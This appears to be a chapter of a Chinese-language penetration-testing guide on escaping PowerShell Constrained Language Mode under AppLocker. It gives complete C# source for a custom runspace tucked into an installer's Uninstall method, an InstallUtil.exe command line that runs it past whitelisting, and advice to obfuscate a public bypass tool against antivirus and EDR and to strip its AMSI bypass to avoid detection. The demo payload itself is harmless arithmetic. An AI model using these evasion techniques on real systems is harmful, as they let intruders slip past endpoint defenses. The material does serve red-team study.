约束语言模式
约束语言模式,即 CLM,实际上是 AppLocker 中的一种,如果我们对脚本类型文件启用了 AppLocker 规则,那么在运行 powershell的时候便是约束语言模式。回顾一下我们在第 5 章提到的CLM概念,当 CLM 被启用的话,一些脚本语言例如 Powershell 的使用会被限制,只有白名单里的脚本才不会被影响。CLM 带来最直接的影响就是限制了对 .NET框架的调用、执行 C# 代码以及反射。我们可以通过 Powershell 命令 $ExecutionContext.SessionState.LanguageMode 来检查语言状态。
CLM大幅度限制了 Powershell 命令的使用,如果我们想导入或者执行我们常用的渗透脚本,例如 adpeas.ps1,那么我们会看到如下的报错。
对于 CLM 的绕过,我们依旧可以借助于默认规则或者考虑不周的自定义规则下的白名单文件夹,执行白名单文件夹下的脚本,但是依旧不能导入模块。因此,我们需要更加彻底的绕过手段。
自定义Runspaces
Powershell的功能实际上位于 System.Management.Automation.dll 这个托管dll之中,而powershell.exe 只是个用于处理输入输出的GUI程序。因此,我们可以通过编程手段实现自定义的powershell 运行空间。
创建一个C#项目,添加 C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e3 5\System.Management.Automation.dll 引用,以及 System.Configuration.Install 。
最终代码如下:
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace clm
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Nothing happens");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
String cmd = "[math]::pow(2,3) | Out-File -FilePath C:\\windows\\tasks\\output.txt";
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
看完之后,会有小伙伴好奇,为什么这里我们要重载 Uninstall 方法,不能在 main 函数里执行,或者重载 Install 方法吗?为什么不在 main 方法里执行,是因为虽然这样我们突破了 CLM,但生成的 exe 本身可能被 AppLocker 阻碍运行,而后者需要管理员特权。为了能让 Uninstall 方法里的代码得以运行,我们需要利用上篇提到的 LOLBAS 项目中的 InstallUtil.exe 去运行该 exe。最终命令如下:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\public\clm.exe
需要注意的是,我们不能够给 clm.exe 提供参数,但是我们可以在 cmd 中定义好想要执行的 powershell 操作。因为该过程不产生输出,所以我们可以借助文本来存储输出。
补丁 GetSystemLockdownPolicy
觉得该途径有点麻烦?不妨看看该项目: https://github.com/calebstewart/bypass-clm 。其实原理是一样的,但是该项目生成的文件可以生成可交互的 powershell 会话。
但需要注意的是,该项目已经存在2年了,因此一些AV/EDR厂商已经把它标记为恶意软件了,我们需要对其进行混淆等免杀化处理。另外,该项目代码中自带了 AMSI 绕过,即新生成的交互式 powershell 会话已经绕过了 AMSI,但在个别主机上会引发内存错误。因此将下图中的代码删除,不仅可以避免内存错误问题,还可以降低被检测的基准,因此 AMSI 绕过行为本身也会增加被检测的风险。在生成新的 powershell 会话后,我们用一句话绕过即可。